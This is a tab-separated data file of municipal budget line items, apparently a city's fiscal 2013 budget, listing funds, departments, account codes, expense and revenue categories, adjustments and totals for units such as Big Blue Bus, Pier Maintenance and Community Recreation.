2300	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522310.0	OFFICE SUPPLIES / EXPENSES	808.0	 Supplies and Expenses	2013	8000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8000.0
2301	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	522950.0	CNG FUEL		 Supplies and Expenses	2013	200000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200000.0
2302	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2013	14018.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14018.0
2303	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	808.0	 Supplies and Expenses	2013	19000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19000.0
2304	B1	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2013	74831.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	74831.0
2305	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2013	2477.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2477.0
2306	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2013	11944.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11944.0
2307	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2013	4413.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4413.0
2308	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522610.0	EQUIPMENT RENTAL		 Supplies and Expenses	2013	4428.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4428.0
2309	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
2310	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	566610.0	PROCESS & HAULING EXPENSE	808.0	 Supplies and Expenses	2013	2400000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2400000.0
2311	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	407170.0	LA COUNTY PROP A O&M REIMB	610.0	Intergovernmental	2013	-40000.0	0	0.0	40000.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2312	B1	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-10366.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10366.0
2313	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	-1459.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1459.0
2314	B1	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2013	-14849.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14849.0
2315	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-3818.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3818.0
2316	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-1005.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1005.0
2317	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2013	-2402.0	0	0.0	628.0	0	0	0.0	0	0.0	0	0	0.0	-1774.0
2318	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-8750.0	0	0.0	0.0	0	0	0.0	1312	0.0	0	0	0.0	-7438.0
2319	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE		EAP	808.0	Salaries and Wages	2013	544.0	0	0.0	0.0	0	0	0.0	26	0.0	0	0	0.0	570.0
2320	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	10585.0	0	0.0	0.0	0	0	0.0	234	0.0	0	0	0.0	10819.0
2321	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2013	5325.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5325.0
2322	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		UNEMPLOYMENT	808.0	Salaries and Wages	2013	12395.0	-397	0.0	0.0	0	0	0.0	-823	0.0	0	0	0.0	11175.0
2323	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS		DCAP	808.0	Salaries and Wages	2013	2167.0	-72	0.0	0.0	0	0	0.0	-85	0.0	0	0	0.0	2010.0
2324	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	280247.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	280247.0
2325	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING		DISABILITY INSURANCE	808.0	Salaries and Wages	2013	1939.0	610	0.0	0.0	0	0	0.0	1244	0.0	0	0	0.0	3793.0
2326	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2013	68653.0	0	0.0	0.0	0	0	0.0	5298	0.0	0	0	0.0	73951.0
2327	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511748.0	DENTAL	840.0	Salaries and Wages	2013	5139.0	0	0.0	0.0	0	0	0.0	100	0.0	0	0	0.0	5239.0
2328	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511748.0	DENTAL	840.0	Salaries and Wages	2013	16236.0	414	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16650.0
2329	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	655	TRANSIT OPERATIONS	511748.0	DENTAL	840.0	Salaries and Wages	2013	254974.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	254974.0
2330	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511748.0	DENTAL	840.0	Salaries and Wages	2013	2849.0	1122	0.0	0.0	0	0	0.0	2243	0.0	0	0	0.0	6214.0
2331	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511774.0	RETIREMENT - AS NEEDED	840.0	Salaries and Wages	2013	510.0	0	0.0	0.0	0	0	0.0	5	0.0	0	0	0.0	515.0
2332	B1	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	405200.0	VIDEO PRODUCTION SERVICE	612.0	Charges for Service	2013	-10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10000.0
2333	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522116.0	UTIL-LIGHT/POWER-CIVIC PARKING	816.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	75335	0	0.0	75335.0
2334	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	10721.0	0	0.0	0.0	0	0	0.0	107	0.0	0	0	0.0	10828.0
2335	B1	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	20949.0	0	0.0	223.0	0	0	0.0	212	0.0	0	0	0.0	21384.0
2336	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2013	6896.0	0	0.0	0.0	0	0	0.0	69	0.0	0	0	0.0	6965.0
2337	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	8994	0	0.0	8994.0
2338	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511713.0	MEDICARE-MISC EMPLOYEES	812.0	Salaries and Wages	2013	15989.0	0	0.0	0.0	0	0	0.0	-992	0.0	0	0	0.0	14997.0
2339	B1	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	22567.0	0	0.0	0.0	0	0	0.0	226	0.0	0	0	0.0	22793.0
2340	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	48083.0	0	0.0	0.0	0	0	0.0	481	0.0	0	0	0.0	48564.0
2341	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	556050.0	LA MARATHON	820.0	 Supplies and Expenses	2013	165568.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	165568.0
2342	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	401320.0	PARKING STRUCTURE PERMITS	608.0	Licenses and Permits	2013	-1300000.0	0	0.0	0.0	0	0	0.0	0	0.0	1300000	0	0.0	0.0
2343	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	407260.0	STRUCTURE 9 PARKING	608.0	Licenses and Permits	2013	-500000.0	0	0.0	0.0	0	0	0.0	0	0.0	500000	0	0.0	0.0
2344	B1	IS	20	Miscellaneous Grants Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	570280.0	SCE ENERGY PLANNING GRANTS	808.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	32761.36	0	0	0.0	32761.36
2345	B1	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	540590.0	EMPLOYEE RECOGNITION & APPRECI	804.0	 Supplies and Expenses	2013	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
2346	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2013	1776.0	0	0.0	-104.0	0	0	0.0	17	0.0	0	0	0.0	1689.0
2347	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE		DISABILITY INSURANCE		Salaries and Wages	2013	2833.0	0	0.0	-50.0	0	0	0.0	28	0.0	0	0	0.0	2811.0
2348	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522160.0	TRANSFER STATION FEE	806.0	 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
2349	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	522910.0	VEHICLES - FUELS / LUBRICATION		 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
2350	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	523000.0	VEHICLE MGMT FUND-MAINTENANCE		 Supplies and Expenses	2013	47300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	47300.0
2351	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
2352	B1	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533250.0	RESTROOM MAINTENANCE		 Supplies and Expenses	2013	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
2353	B1	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	555210.0	TRAINING		 Supplies and Expenses	2014	1968.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1968.0
2354	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	3801.0	0	0.0	0.0	0	0	0.0	38	0.0	0	0	0.0	3839.0
2355	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2013	55226.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	55226.0
2356	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		UNEMPLOYMENT		Salaries and Wages	2013	1253.0	0	0.0	0.0	0	0	0.0	13	0.0	0	0	0.0	1266.0
2357	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533210.0	BLDG OPER / CUST SUPPLIES		 Supplies and Expenses	2013	18000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18000.0
2358	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	533280.0	AVIATION MAINTENANCE		 Supplies and Expenses	2013	140000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	140000.0
2359	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	566210.0	AIRPORT FIELD MAINTENANCE		 Supplies and Expenses	2013	10800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10800.0
2360	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2013	662401.0	0	0.0	0.0	0	0	0.0	6624	0.0	0	0	0.0	669025.0
2361	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2013	104752.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104752.0
2362	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511748.0	DENTAL		Salaries and Wages	2013	6730.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6730.0
2363	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	579290.0	UTILITIES BILLING SERVICES	866.0	 Supplies and Expenses	2013	91055.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	91055.0
2364	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	404580.0	BAYSAVER FEES	662.0	Other	2013	-90000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-90000.0
2365	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2013	4400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4400.0
2366	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	810.0	 Supplies and Expenses	2013	28530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28530.0
2367	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2013	15300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15300.0
2368	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2013	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
2369	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	164275.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	164275.0
2370	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	10334.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10334.0
2371	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	1357.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1357.0
2372	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	2755.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2755.0
2373	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2013	6190.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6190.0
2374	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2013	4250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4250.0
2375	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2013	144.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	144.0
2376	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	2860.0	0	0.0	0.0	0	0	0.0	29	0.0	0	0	0.0	2889.0
2377	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	5176.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5176.0
2378	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	24024.0	0	0.0	0.0	0	0	0.0	240	0.0	0	0	0.0	24264.0
2379	B1	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		DCAP		Salaries and Wages	2013	276.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	276.0
2380	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	4629.0	0	0.0	0.0	0	0	0.0	46	0.0	0	0	0.0	4675.0
2381	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	482.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	482.0
2382	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
2383	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	9250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	9250.0
2384	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	57527.0	0	0.0	0.0	0	0	0.0	575	0.0	0	0	0.0	58102.0
2385	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	3059.0	0	0.0	0.0	0	0	0.0	31	0.0	0	0	0.0	3090.0
2386	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	544340.0	INDIRECT COST ALLOCATION	808.0	 Supplies and Expenses	2013	576930.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	576930.0
2387	B1	IS	54	Vehicle Management Fund	500	PUBLIC WORKS	459	FLEET MANAGEMENT	555210.0	TRAINING	808.0	 Supplies and Expenses	2013	7859.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7859.0
2388	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	408150.0	ALT FUEL TAX CREDIT	662.0	Other	2013	-1370000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1370000.0
2389	B1	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	552010.0	CUSTODIAL SERVICES	804.0	 Supplies and Expenses	2013	7842.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7842.0
2390	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	400601.0	REVIEW OF PUBLIC ROW APPLICATI	612.0	Charges for Service	2013	-103349.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-103349.0
2391	B1	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	405670.0	HBP-FHWA PIER BRIDGE	610.0	Intergovernmental	2013	-700000.0	0	0.0	0.0	0	0	0.0	0	-544794.61	0	0	0.0	-1244794.61
2392	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-3359.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3359.0
2393	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	245	SOFTWARE SYSTEMS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-8083.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-8083.0
2394	B1	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2013	-6389.0	0	0.0	502.0	0	0	0.0	0	0.0	0	0	0.0	-5887.0
2395	B1	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	-4346.0	0	0.0	0.0	0	0	0.0	-628	0.0	0	0	0.0	-4974.0
2396	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	-4320.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4320.0
2397	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	-14123.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14123.0
2398	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	-10605.0	0	0.0	0.0	0	0	0.0	-1087	0.0	0	0	0.0	-11692.0
2399	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2013	-9880.0	0	0.0	0.0	0	0	0.0	1087	0.0	-232	0	0.0	-9025.0
2400	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-11526.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11526.0
2401	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-315.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-315.0
2402	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EMPLOYEE HEALTH CONTRIBUTION	810.0	Salaries and Wages	2013	-1319.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1319.0
2403	B1	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2013	-4303.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-4303.0
2404	B1	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	212	R & ES(CITY CLERK)-ELECTIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	15.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15.0
2405	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409001.0	CHILDCARE-SEPTEMBER	612.0	Charges for Service	2013	-40659.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-40659.0
2406	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409009.0	CHILDCARE-MAY	612.0	Charges for Service	2013	-29923.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-29923.0
2407	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409010.0	CHILDCARE-JUNE	612.0	Charges for Service	2013	-29923.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-29923.0
2408	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EMPLOYEE HEALTH CONTRIBUTION	812.0	Salaries and Wages	2013	-8420.0	0	0.0	0.0	0	0	0.0	685	0.0	0	0	0.0	-7735.0
2409	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	850.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	850.0
2410	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	30140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30140.0
2411	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2013	-72.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-72.0
2412	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	1143.0	0	0.0	0.0	0	0	0.0	11	0.0	0	0	0.0	1154.0
2413	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	2017.0	0	0.0	0.0	0	0	0.0	20	0.0	0	0	0.0	2037.0
2414	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	55535.0	0	0.0	0.0	0	0	0.0	555	0.0	0	0	0.0	56090.0
2415	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	522.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	522.0
